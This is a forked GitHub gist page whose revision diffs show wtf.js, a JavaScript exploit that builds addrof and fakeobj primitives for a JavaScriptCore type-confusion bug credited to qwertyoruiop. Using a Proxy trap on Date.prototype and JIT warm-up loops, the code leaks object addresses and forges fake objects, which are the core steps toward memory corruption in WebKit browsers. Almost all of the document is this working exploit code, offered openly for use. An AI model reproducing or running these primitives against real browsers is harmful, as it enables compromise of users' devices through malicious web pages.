Skip to content

Instantly share code, notes, and snippets.

@AmesianX

AmesianX/wtf.js

Forked from physuru/wtf.js
Created April 27, 2022 02:20
Show Gist options
  • Save AmesianX/0b98882d28bb9b5c65633ac8e43706fe to your computer and use it in GitHub Desktop.
Save AmesianX/0b98882d28bb9b5c65633ac8e43706fe to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. @physuru physuru revised this gist May 17, 2020. 1 changed file with 0 additions and 1 deletion.
    1 change: 0 additions & 1 deletion wtf.js
    View file
    Original file line number Diff line number Diff line change
    @@ -1,5 +1,4 @@
    // addrof/fakeobj primitives for qwertyoruiop's jsc bug
    if (typeof alert != "undefined") top["deubg"] = top["alert"];
    var wtf_hack = false, wtf_confuse = null, wtf_obj = {}, wtf_date = new Date();
    wtf_date[1] = 1;
    Date.prototype.__proto__ = new Proxy(Date.prototype.__proto__, {
  2. @physuru physuru revised this gist Aug 26, 2019. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion wtf.js
    View file
    Original file line number Diff line number Diff line change
    @@ -1,5 +1,5 @@
    // addrof/fakeobj primitives for qwertyoruiop's jsc bug
    if (typeof alert != "undefined") eval("top.debug = alert");
    if (typeof alert != "undefined") top["deubg"] = top["alert"];
    var wtf_hack = false, wtf_confuse = null, wtf_obj = {}, wtf_date = new Date();
    wtf_date[1] = 1;
    Date.prototype.__proto__ = new Proxy(Date.prototype.__proto__, {
  3. @physuru physuru created this gist Aug 26, 2019.
    43 changes: 43 additions & 0 deletions wtf.js
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,43 @@
    // addrof/fakeobj primitives for qwertyoruiop's jsc bug
    if (typeof alert != "undefined") eval("top.debug = alert");
    var wtf_hack = false, wtf_confuse = null, wtf_obj = {}, wtf_date = new Date();
    wtf_date[1] = 1;
    Date.prototype.__proto__ = new Proxy(Date.prototype.__proto__, {
    has: function () {
    if (wtf_hack) {
    wtf_confuse[0] = wtf_obj;
    }
    }
    });
    function addrof(what) {
    wtf_confuse = new Array(1), wtf_obj = what;
    wtf_confuse[0] = 13.37;
    var f64 = new Float64Array(2);
    function victim(oj, f64, doubleArray) {
    doubleArray[0];
    var r = 5 in oj;
    f64[0] = doubleArray[0];
    doubleArray[0] = f64[0];
    return r;
    }
    for (var i = 0; i < 25000; i++) victim(wtf_date, f64, wtf_confuse);
    wtf_hack = true;
    victim(wtf_date, f64, wtf_confuse);
    wtf_hack = false;
    return f64[0];
    }
    function fakeobj(addr) {
    wtf_confuse = new Array(1), wtf_obj = {};
    wtf_confuse[0] = 13.37;
    function victim(oj, doubleArray) {
    doubleArray[0];
    var r = 5 in oj;
    doubleArray[0] = addr;
    return r;
    }
    for (var i = 0; i < 25000; i++) victim(wtf_date, wtf_confuse);
    wtf_hack = true;
    victim(wtf_date, wtf_confuse);
    wtf_hack = false;
    return wtf_confuse[0];
    }